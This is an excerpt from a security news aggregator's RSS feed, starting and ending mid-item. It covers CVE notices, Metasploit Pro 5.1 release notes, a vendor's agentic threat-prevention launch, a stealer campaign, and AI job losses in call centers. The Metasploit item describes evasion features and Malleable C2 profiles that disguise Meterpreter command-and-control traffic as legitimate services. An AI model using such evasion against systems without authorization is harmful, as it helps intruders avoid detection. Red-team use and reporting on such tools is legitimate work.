<link>https://tsecurity.de/de/3701461/sicherheitsluecken/cve-2026-12185-legion-of-the-bouncy-castle-bc-javabc-lts-java-prior-18527312-bksuber-keystore-integrity-check-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701461/sicherheitsluecken/cve-2026-12185-legion-of-the-bouncy-castle-bc-javabc-lts-java-prior-18527312-bksuber-keystore-integrity-check-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bc-java">Legion of the Bouncy Castle BC-JAVA and BC-LTS-JAVA</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. The affected element is an unknown function of the component <em>BKS/UBER keystore</em>. Such manipulation leads to improper validation of integrity check value.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-12185">CVE-2026-12185</a>. The attack may be launched remotely. There is no exploit available.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Pro 5.1 Released]]></title>
<description><![CDATA[Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consiste...]]></description>
<link>https://tsecurity.de/de/3701274/it-security-nachrichten/metasploit-pro-51-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701274/it-security-nachrichten/metasploit-pro-51-released/</guid>
<pubDate>Mon, 03 Aug 2026 20:18:47 +0200</pubDate>
<content:encoded><![CDATA[<p><span>Today marks the release of Metasploit Pro 5.1 - building upon the foundation laid in 5.0, adding new evasion primitives for HTTP Meterpreter payloads, support for tracking service hierarchies, a deeper and more interactive Network Topology view, and continuing our commitment to a modern, consistent UI. This release is powered by </span><a href="https://www.rapid7.com/blog/post/pt-metasploit-framework-6-5-released/" target="_blank" title="Metasploit Framework 6.5 Released"><span>Metasploit Framework 6.5</span></a><span>.</span></p><h2><span>Malleable C2 Profiles</span></h2><p></p><p><span>One of the most requested capabilities in modern red-team engagements is the ability to blend Meterpreter's network traffic into legitimate-looking patterns. Metasploit Pro 5.1 brings full Malleable C2 profile support, powered by Metasploit Framework 6.5, directly into the Pro UI — no command-line knowledge required.</span></p><p><span>Malleable C2 profiles let you load a standard profile and reshape Meterpreter's HTTP(S) traffic to emulate legitimate services, browser sessions, or any other traffic pattern you need. All Meterpreter flavours — Windows, Linux, Java, Python, and PHP — are supported, including stageless and staged payloads (e.g. </span><span><span data-type="inlineCode">meterpreter/reverse_https</span></span><span> and </span><span><span data-type="inlineCode">meterpreter_reverse_https</span></span><span>). This functionality is compatible with </span><a href="https://github.com/BC-SECURITY/Malleable-C2-Profiles" target="_blank" title="Malleable C2 profiles"><span>publicly available profile libraries</span></a><span>.</span></p><h2><span>Profile support across the Pro UI</span></h2><p></p><p><span>Malleable C2 profiles are now available in every part of the workflow where a payload is configured:</span></p><ul><li><span><strong>Single Module Run:</strong></span><span> The module options page now includes a Malleable C2 section.</span></li><li><span><strong>Listeners (New &amp; Edit):</strong></span><span> You can now choose from profiles already uploaded to the server or upload a new </span><span><span data-type="inlineCode">.profile</span></span><span> file directly from your browser.</span></li><li><span><strong>Payload Generator:</strong></span><span> The standalone payload generator also exposes the profile picker, so standalone payloads can carry the same C2 profile as the rest of your operation.</span><br></li></ul><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-1.png" asset-alt="mal-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt00c8f7cfba369f9b/6a6b58a317e9ee7712e39f56/mal-1.png" data-sys-asset-uid="blt00c8f7cfba369f9b" data-sys-asset-filename="mal-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-1.png" sys-style-type="display"></p><p><span><em>Figure 1 Malleable Profiles</em></span></p><h2><span>Improved Payload Section</span></h2><p><br><span>Alongside the Malleable C2 integration, the payload selector has been overhauled across the Listener, Module Run, and Payload Generator pages. You can now filter payloads by platform and stage, making it much faster to find the right payload in large lists.</span></p><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mal-2.png" asset-alt="mal-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b8c9d84c56f4976/6a6b5ee417e9ee9f1ce39f77/mal-2.png" data-sys-asset-uid="blt5b8c9d84c56f4976" data-sys-asset-filename="mal-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mal-2.png" sys-style-type="display"></p><p><span><em>Figure 2: Advanced Payload Options</em></span></p><p><span><em></em></span></p><p><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="select-1.png" asset-alt="select-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5386f342760bb33c/6a6b6204a20f98921fdec716/select-1.png" data-sys-asset-uid="blt5386f342760bb33c" data-sys-asset-filename="select-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="select-1.png" sys-style-type="display"></p><p><span><em>Figure 3: Additional Payload Options</em></span></p><h2><span>Service Hierarchy Tracking Support</span></h2><p></p><p><span>The Discovered Services table has been overhauled with a cleaner, more capable interface consistent with the rest of Pro 5.1.</span></p><ul><li><span><strong>Service hierarchy visibility:</strong></span><span> The most significant new capability. Services can have parent-child relationships - for example, an HTTP service running over TCP, or a tunnelled protocol layered over another. The new table exposes this hierarchy directly with dedicated columns showing each service's parent and child services, so you can immediately understand how discovered services relate to one another without drilling into individual records.</span></li><li><span><strong>Search and sort across all columns:</strong></span><span> You can now search across host name, host address, service name, protocol, port, and info in a single query. All major columns are sortable, including parent services.</span></li><li><span><strong>Inline editing:</strong></span><span> Service fields (name, port, protocol, state, resource) can be edited directly from the table without navigating away.</span></li></ul><p><span></span></p><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-1.png" asset-alt="service-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte99ed4bec8ace3d0/6a6b649cbe6e8040b26c6b9b/service-1.png" data-sys-asset-uid="blte99ed4bec8ace3d0" data-sys-asset-filename="service-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-1.png" sys-style-type="display"></p><p><span><em>Figure 4: Service Options</em></span></p><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="service-2.png" asset-alt="service-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte899cf4f4f3abbe0/6a6b65164e3795c06488dd53/service-2.png" data-sys-asset-uid="blte899cf4f4f3abbe0" data-sys-asset-filename="service-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="service-2.png" sys-style-type="display"></p><p><span><em>Figure 5: Service </em></span><em>Hierarchy</em><span><em> Display</em></span></p><h2><span>Network Topology Enhancements</span><br></h2><p><span>Building on Metasploit Pro 5.0's improvements to the Network Topology, we've added additional support and functionality for exploring your internal infrastructure. Previously, each node in the graph provided a high level summary of the host details when hovering over the node. This has now been moved into a dedicated side panel that surfaces everything you know about a host without leaving the topology view.</span></p><h2><span>Rich host information panels</span></h2><p></p><p><span>Click any node in the topology graph and the side panel now shows a consolidated summary of everything Metasploit knows about that host:</span></p><ul><li><span><strong>Sessions:</strong></span><span> all sessions (open and closed) opened against the host, including session type, exploit used, payload, and timestamps.</span></li><li><span><strong>Loot: </strong></span><span>captured loot items associated with the host, including type, name, and content type.</span></li><li><span><strong>Credentials:</strong></span><span> cracked and captured credentials organised by service, de-duplicated and sorted with successful logins first.</span></li><li><span><strong>Modules run:</strong></span><span> a list of every module that has been executed against the host.</span></li><li><span><strong>Tags:</strong></span><span> any tags applied to the host or its sessions.</span></li></ul><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-1.png" asset-alt="info-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt099cc5a0c6188dc7/6a6b6634724d9602dd02acb2/info-1.png" data-sys-asset-uid="blt099cc5a0c6188dc7" data-sys-asset-filename="info-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-1.png" sys-style-type="display"></p><p><span><em>Figure 6: Network Topology Display</em></span></p><h2><span>New filter options</span></h2><p></p><p><span>The topology graph toolbar has three new filters to help focus on the hosts that matter:</span></p><ul><li><span><strong>Filter by bruteforce</strong></span><span> - highlight services that can be bruteforced remotely on a host.</span></li><li><span><strong>Filter by tag</strong></span><span> - narrow the graph to hosts carrying a specific session or host tag.</span></li><li><span><strong>Filter by username</strong></span><span> - show only hosts where a particular user account has been compromised.</span></li><li><span><strong>Filter by module</strong></span><span> - surface hosts that have had a specific module run against them.</span></li></ul><p><span><em></em></span></p><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="info-2.png" asset-alt="info-2.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltea875f08e2fd2aa2/6a6c7e89b966e121b163cdbc/info-2.png" data-sys-asset-uid="bltea875f08e2fd2aa2" data-sys-asset-filename="info-2.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="info-2.png" sys-style-type="display"></p><p><span><em>Figure 7: Network Topology Graph Filter Options</em></span></p><p><span><em></em></span></p><h2><span>Discovered Vulnerabilities - Modern UI</span></h2><p></p><p><span>The Discovered Vulnerabilities table has been fully rewritten, bringing it in line with the UI overhaul introduced across the rest of Pro in 5.0.</span></p><p><span>Key improvements:</span></p><ul><li><span><strong>High level view and granular views</strong></span><span> - Each registered vulnerability provides a high view such as references and affected services, as well as a more granular expandable breakdown view.</span></li><li><span><strong>Inline editing</strong></span><span> - vulnerability details can be edited directly from the table without navigating to a separate page.</span></li><li><span><strong>Nexpose integration preserved</strong></span><span> - all existing InsightVM/Nexpose push and pull workflows are retained in the new implementation.</span></li></ul><p><span><em></em></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="disc-1.png" asset-alt="disc-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blta640a6584832d135/6a6c803423f3b863303c3b20/disc-1.png" data-sys-asset-uid="blta640a6584832d135" data-sys-asset-filename="disc-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="disc-1.png" sys-style-type="display"></p><p><span><em>Figure 8: Discovered Vulnerabilities Modern UI</em></span></p><h2><span>Attack technique filtering support</span></h2><p></p><p><span>MITRE ATT&amp;CK® is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. The ATT&amp;CK knowledge base is used as a foundation for the development of specific threat models and methodologies in the private sector, in government, and in the cybersecurity product and service community. Metasploit Pro now supports searching for modules by these techniques:</span></p><p><span></span></p><p><span></span><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="mod-1.png" asset-alt="mod-1.png" inline="true" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt660c6c699331ea15/6a6c848878b5fed09f8f066d/mod-1.png" data-sys-asset-uid="blt660c6c699331ea15" data-sys-asset-filename="mod-1.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="mod-1.png" sys-style-type="display"></p><p><span><em>Figure 9: Attack Technique Filtering Search</em></span></p><h2><span>Upgrading</span></h2><p></p><p><span>Existing Pro installations can be upgraded through the standard update mechanism. Full upgrade instructions are available in the </span><a href="https://help.metasploit.com/Content/managing-updating-metasploit/updating-metasploit.html" target="_blank" title="Metasploit Updates"><span>Metasploit Pro documentation</span></a><span>.</span></p><p><span>These features are available in Metasploit Pro 5.1.0 onwards. We're proud to collaborate with our customers, who are often the source of inspiration for product evolution. Ideas for improvements or enhancements can be shared with our Support team to help refine and submit them to the Product team on your behalf.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cato Networks launches agentic threat prevention]]></title>
<description><![CDATA[Cato Networks has expanded the AI capabilities of its cloud-based secure access service edge (SASE) platform with Agentic Threat Prevention. This new service uses AI agents to predict how attackers are likely to move through an enterprise environment and automatically deploy protections before an...]]></description>
<link>https://tsecurity.de/de/3701236/it-security-nachrichten/cato-networks-launches-agentic-threat-prevention/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701236/it-security-nachrichten/cato-networks-launches-agentic-threat-prevention/</guid>
<pubDate>Mon, 03 Aug 2026 20:16:17 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.catonetworks.com/resources/sase-champions-playbook/?utm_source=adwords&amp;utm_medium=cpc&amp;utm_campaign=modular_landmotions_us_campaign_23478846225_adgroup_192862202318&amp;utm_term=sase%20cato%20networks&amp;utm_content=search-brand&amp;gad_source=1&amp;gad_campaignid=23478846225&amp;gbraid=0AAAAADfWU5yhjR9_kzjAkquBsOlL29TVt&amp;gclid=CjwKCAjwj7HTBhBiEiwA8s35Ohzzk3EyUf1jjUIZJIo7drAdMQS-aKhrE4UaLwIy-UsjP7hCSOUaFxoCWKgQAvD_BwE" target="_blank" rel="noreferrer noopener">Cato Networks</a> has expanded the AI capabilities of its cloud-based <a href="https://www.catonetworks.com/sase/" target="_blank" rel="noreferrer noopener">secure access service edge (SASE) platform</a> with Agentic Threat Prevention. This new service uses AI agents to predict how attackers are likely to move through an enterprise environment and automatically deploy protections before an attack can progress.</p>



<p class="wp-block-paragraph">The capability combines <a href="https://www.networkworld.com/article/4202950/why-the-future-of-network-security-is-the-convergence-of-sase-and-firewalls.html" target="_blank">network and security telemetry</a> from across the Cato platform to build customer-specific attack models, correlate unrelated events, and enforce preventive controls globally through the company’s SASE platform.</p>



<p class="wp-block-paragraph">Unlike traditional attack path analysis and exposure management tools that focus on identifying vulnerabilities or prioritizing risk, Cato said Agentic Threat Prevention goes beyond analysis by anticipating likely attack progression and automatically adapting protections.</p>



<p class="wp-block-paragraph">“Cato Agentic Threat Prevention starts from the premise that preventing AI-assisted attacks requires more than isolated alerts,” said <a href="https://www.linkedin.com/in/iambriananderson/">Brian Anderson</a>, global field CTO at Cato Networks, in an interview with <em>Network World</em>. “It uses Cato’s unified network and security context to build an understanding of each customer environment, including users and identities, devices, applications, assets, traffic patterns, security events, vulnerabilities, data activity, and threat intelligence.”</p>



<p class="wp-block-paragraph">The platform correlates those data points to identify activity that might appear harmless on its own but could signal the early stages of a larger attack, according to Anderson. For example, downloading an administrative tool may not be suspicious in isolation, but when combined with factors such as the user’s role, the time of day, the download source, and other environmental exposures, the platform can predict likely next steps, including tool execution or lateral movement, and automatically apply preventive controls.</p>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/4140671/cato-networks-brings-adaptive-threat-defense-to-sase.html" target="_blank">Cato SASE Cloud Platform</a> runs on a private global backbone of more than 85 points of presence (PoP) connected via multiple SLA-backed network providers. The PoPs software continuously monitors the providers for latency, packet loss, and jitter to determine in real-time the best route for every packet. Cato applies optimization and acceleration to all traffic going through the backbone to enhance application performance and the user experience. To ensure all locations benefit, Cato optimizes traffic from all the edges and toward all destinations, on-premises and in the cloud.</p>



<p class="wp-block-paragraph">According to Anderson, Agentic Threat Prevention is designed primarily to stop sophisticated, multi-stage attacks where context and prediction matter, including AI-assisted exploitation, lateral movement, identity-driven attack paths, and ransomware precursors. It is not intended to replace Cato’s existing inline protections for short-lived malware or rapid “smash-and-grab” attacks, which are handled by the company’s IPS, anti-malware, DNS protection, firewall, and Dynamic Prevention engines.</p>



<p class="wp-block-paragraph">“AI-assisted attacks are exposing the limits of static security controls and manual response. An entire attack can require less time than is required to investigate an alert,” said <a href="https://www.linkedin.com/in/frankdickson/">Frank Dickson</a>, group vice president at IDC, in a statement. “As attackers adapt faster and tailor campaigns to each environment, enterprises will need prevention approaches that use shared context, automation, and cloud-scale enforcement to reduce exposure before compromise occurs.”</p>



<p class="wp-block-paragraph">This capability is designed to address AI-assisted attacks that can move faster than traditional detection and response processes. According to Anderson, what differentiates the technology is its ability to reason rather than simply execute predefined workflows.</p>



<p class="wp-block-paragraph">“What makes the approach agentic is the ability to reason across multiple signals, anticipate likely next steps, and adapt protections automatically within the platform, rather than simply triggering a prebuilt workflow after a known condition based on known attack patterns,” Anderson said.</p>



<p class="wp-block-paragraph">Depending on the predicted attack path, the platform can block access to suspicious tools, prevent additional tool downloads, apply threat prevention controls, or tighten access policies based on the customer’s specific environment rather than generic security rules. The system also periodically reevaluates automated restrictions and removes them if behavior returns to normal to help reduce false positives, according to Cato.</p>



<p class="wp-block-paragraph">Cato also shared early production and testing metrics to support the technology’s effectiveness. According to the company, the engine processes an average of 4.5 million traffic signals per customer account each week, generating more than 345,000 condition matches and enforcing more than 71,000 targeted restrictions without analyst intervention. Cato also said its internal agentic red team lab has run more than 500 autonomous attack simulations since mid-May, during which the platform consistently blocked attackers before they reached their objectives by applying an average of 15 targeted controls per affected host and mitigating 12 distinct threat vectors per attack.</p>



<p class="wp-block-paragraph">Agentic Threat Prevention complements Cato’s recently introduced <a href="https://www.catonetworks.com/news/cato-cutting-time-to-protect-45-minutes-full-agentic-cve-mitigation/" target="_blank" rel="noreferrer noopener">Agentic CVE Mitigation</a> capability, which automatically assesses newly disclosed vulnerabilities and applies protections in as little as 45 minutes. The two capabilities are intended to reduce both the vulnerability exposure window and the time attackers have to move laterally through an environment. Anderson said the new capability reflects a broader evolution in enterprise security from reactive detection to predictive defense.</p>



<p class="wp-block-paragraph">“The meaningful shift is from reactive detection to predictive prevention,” Anderson said. “In our current AI era, prediction is the new prevention. Defenders need systems that can anticipate attacker movement and act at machine speed to keep pace with AI-assisted attacks.”</p>



<p class="wp-block-paragraph">Cato’s Agentic Threat Prevention is generally available now.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fake Xeno Roblox Cheats Deliver Powerful Java Stealer Through Discord and Forums]]></title>
<description><![CDATA[A malware campaign disguised as an “undetected” version of the Xeno Roblox script executor is directly affecting players looking to download a legitimate tool.]]></description>
<link>https://tsecurity.de/de/3701201/it-security-nachrichten/fake-xeno-roblox-cheats-deliver-powerful-java-stealer-through-discord-and-forums/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701201/it-security-nachrichten/fake-xeno-roblox-cheats-deliver-powerful-java-stealer-through-discord-and-forums/</guid>
<pubDate>Mon, 03 Aug 2026 20:16:08 +0200</pubDate>
<content:encoded><![CDATA[A malware campaign disguised as an “undetected” version of the Xeno Roblox script executor is directly affecting players looking to download a legitimate tool.]]></content:encoded>
</item>
<item>
<title><![CDATA['AI's Decimation of Call Center Jobs Has Begun']]></title>
<description><![CDATA["AI's decimation of call center jobs has begun," reports Bloomberg:


Companies including the Commonwealth Bank of Australia, Microsoft Corp., Uber Technologies Inc. and Hyatt Hotels Corp. are using automated chat and phone systems to handle work that previously required humans. In some cases, th...]]></description>
<link>https://tsecurity.de/de/3701188/it-security-nachrichten/ais-decimation-of-call-center-jobs-has-begun/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701188/it-security-nachrichten/ais-decimation-of-call-center-jobs-has-begun/</guid>
<pubDate>Mon, 03 Aug 2026 20:16:01 +0200</pubDate>
<content:encoded><![CDATA["AI's decimation of call center jobs has begun," reports Bloomberg:


Companies including the Commonwealth Bank of Australia, Microsoft Corp., Uber Technologies Inc. and Hyatt Hotels Corp. are using automated chat and phone systems to handle work that previously required humans. In some cases, they've already wiped out sizable chunks of their customer service operations, together representing thousands of workers. 


The specter of automation has long loomed over the call center industry, which employs millions worldwide from the U,S, to India to the Philippines. But until recently, generative artificial intelligence wasn't good enough to move the needle. Now, AI advancements — and pressure on executives to show they're embracing the new technology — have prompted corporations to deploy the tools more widely. Customer service employment in the U.S. is declining and will likely continue to do so as more tasks are automated, Forrester analyst Kate Leggett wrote in a report earlier this year. While it's impossible to determine the future job losses, she estimated that almost half of customer service roles will be affected by 2030. 

Globally, the steepest job cuts are expected to hit countries like the Philippines, where many Western companies have outsourced their most easily automated work. Salespeople at multiple tech companies told Bloomberg that they routinely pitch call center AI tools as a way of lowering labor costs, undercutting a common industry claim that AI is primarily a way to help workers become more productive rather than kill their jobs... Commonwealth Bank of Australia, the nation's largest lender, has shed hundreds of workers from its chat support line as it wove AI into the system, according to people familiar with the work. This amounted to tens of millions of dollars in savings per year, one of the people said... 

Microsoft is both one of the largest vendors and adopters of customer service automation tools. This has helped the software giant trim its customer service workforce — a mix of contractors and full-time staff — from about 50,000 to 40,000 in recent years, according to a person familiar with the operations. "If something happened with little Johnny's Xbox in the middle of the night, we can now solve that with AI," Judson Althoff, who runs Microsoft's sales and service operations, said in an interview. Althoff said in April that AI is saving the company about $750 million per year in customer service costs. More complex problems still require human support, but the company is constantly expanding what can be fixed automatically, he said in the interview. 

Two examples from the article:

Last year Hyatt fired 30% of its in-house customer support staff for the Americas, according the hotel-industry news site Hotel Dive.

Last week Bloomberg reported Uber had cut 10% of its customer service jobs as part of effort to "embrace artificial intelligence," according to the article. "Today, Uber pushes users to submit support requests through their apps, where they're met with an AI chatbot."

<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status='AI's+Decimation+of+Call+Center+Jobs+Has+Begun'%3A+https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F08%2F03%2F031248%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fit.slashdot.org%2Fstory%2F26%2F08%2F03%2F031248%2Fais-decimation-of-call-center-jobs-has-begun%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://it.slashdot.org/story/26/08/03/031248/ais-decimation-of-call-center-jobs-has-begun?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Interview about resistance: „Palantir is really toxic“]]></title>
<description><![CDATA[Alexander Karp, Palantir CEO.    –   CC-BY-NC-SA 4.0: World Economic ForumResistance against Palantir in Europe is growing. We speak with US activists from „Purge Palantir“ about why and how they organize protests against the corporation in its home country.]]></description>
<link>https://tsecurity.de/de/3700855/it-nachrichten/interview-about-resistance-palantir-is-really-toxic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700855/it-nachrichten/interview-about-resistance-palantir-is-really-toxic/</guid>
<pubDate>Mon, 03 Aug 2026 20:15:08 +0200</pubDate>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="2048" height="1365" src="https://cdn.netzpolitik.org/wp-upload/2026/08/alex-karp-WEF.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="Alexander Karp, Palantir CEO at World Economic Forum 2026" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/08/alex-karp-WEF.jpg 2048w, https://cdn.netzpolitik.org/wp-upload/2026/08/alex-karp-WEF-726x484.jpg 726w, https://cdn.netzpolitik.org/wp-upload/2026/08/alex-karp-WEF-1013x675.jpg 1013w, https://cdn.netzpolitik.org/wp-upload/2026/08/alex-karp-WEF-1536x1024.jpg 1536w" sizes="(max-width: 2048px) 100vw, 2048px"><figcaption class="wp-caption-text">Alexander Karp, Palantir CEO.  <span class="media-license-caption">  –   <a class="" rel="license" target="_blank" href="http://creativecommons.org/licenses/by-nc-sa/4.0/deed.de">CC-BY-NC-SA 4.0</a>: <a href="https://www.flickr.com/photos/worldeconomicforum/55050830357/sizes/o/">World Economic Forum</a></span></figcaption></figure>Resistance against Palantir in Europe is growing. We speak with US activists from „Purge Palantir“ about why and how they organize protests against the corporation in its home country.]]></content:encoded>
</item>
<item>
<title><![CDATA[heise+ | Streit um Post-Quantum-Schlüsselverfahren: Mit oder ohne Sicherheitsgurt?]]></title>
<description><![CDATA[Google-Kryptografin Sophie Schmieg erklärt im Interview die IETF-Debatte um reines ML-KEM und warum sie meint, dass das Verfahren spezifiziert werden sollte.]]></description>
<link>https://tsecurity.de/de/3700830/it-nachrichten/heise-streit-um-post-quantum-schluesselverfahren-mit-oder-ohne-sicherheitsgurt/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700830/it-nachrichten/heise-streit-um-post-quantum-schluesselverfahren-mit-oder-ohne-sicherheitsgurt/</guid>
<pubDate>Mon, 03 Aug 2026 20:15:07 +0200</pubDate>
<content:encoded><![CDATA[Google-Kryptografin Sophie Schmieg erklärt im Interview die IETF-Debatte um reines ML-KEM und warum sie meint, dass das Verfahren spezifiziert werden sollte.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-18631 | jeequan jeepay up to 3.2.9 PreAuthorize SysLogController.java WebSecurityConfig authorization]]></title>
<description><![CDATA[A vulnerability was found in jeequan jeepay up to 3.2.9. It has been rated as critical. This vulnerability affects the function WebSecurityConfig of the file jeepay-manager/src/main/java/com/jeequan/jeepay/mgr/ctrl/sysuser/SysLogController.java of the component PreAuthorize Handler. The manipulat...]]></description>
<link>https://tsecurity.de/de/3700768/sicherheitsluecken/cve-2026-18631-jeequan-jeepay-up-to-329-preauthorize-syslogcontrollerjava-websecurityconfig-authorization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700768/sicherheitsluecken/cve-2026-18631-jeequan-jeepay-up-to-329-preauthorize-syslogcontrollerjava-websecurityconfig-authorization/</guid>
<pubDate>Mon, 03 Aug 2026 15:22:51 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/jeequan:jeepay">jeequan jeepay up to 3.2.9</a>. It has been rated as <a href="https://vuldb.com/kb/risk">critical</a>. This vulnerability affects the function <code>WebSecurityConfig</code> of the file <em>jeepay-manager/src/main/java/com/jeequan/jeepay/mgr/ctrl/sysuser/SysLogController.java</em> of the component <em>PreAuthorize Handler</em>. The manipulation leads to authorization bypass.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-18631">CVE-2026-18631</a>. The attack may be initiated remotely. In addition, an exploit is available.

The vendor was contacted early about this disclosure but did not respond in any way.]]></content:encoded>
</item>
<item>
<title><![CDATA[Obfuscate using pure java bytecode virtual machine to interpret mutated java bytecodes of original java program.]]></title>
<description><![CDATA[submitted by    /u/REALNHCM   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3700675/reverse-engineering/obfuscate-using-pure-java-bytecode-virtual-machine-to-interpret-mutated-java-bytecodes-of-original-java-program/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700675/reverse-engineering/obfuscate-using-pure-java-bytecode-virtual-machine-to-interpret-mutated-java-bytecodes-of-original-java-program/</guid>
<pubDate>Mon, 03 Aug 2026 12:47:34 +0200</pubDate>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/REALNHCM"> /u/REALNHCM </a> <br> <span><a href="https://github.com/NHCM-dev/BytecodeVM">[link]</a></span>   <span><a href="https://www.reddit.com/r/ReverseEngineering/comments/1ve3edw/obfuscate_using_pure_java_bytecode_virtual/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three scary AI security mistakes haunting enterprises]]></title>
<description><![CDATA[There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.



It all starts with a “pilot,” a “prototype,” or a “side project.” Maybe s...]]></description>
<link>https://tsecurity.de/de/3700609/ai-nachrichten/three-scary-ai-security-mistakes-haunting-enterprises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700609/ai-nachrichten/three-scary-ai-security-mistakes-haunting-enterprises/</guid>
<pubDate>Mon, 03 Aug 2026 12:13:04 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">There is a lot of talk about the coming enterprise AI reality, in which AI finally arrives in production systems. You might not know it, but this reality—or nightmare, depending on how you handle it—is already happening.</p>



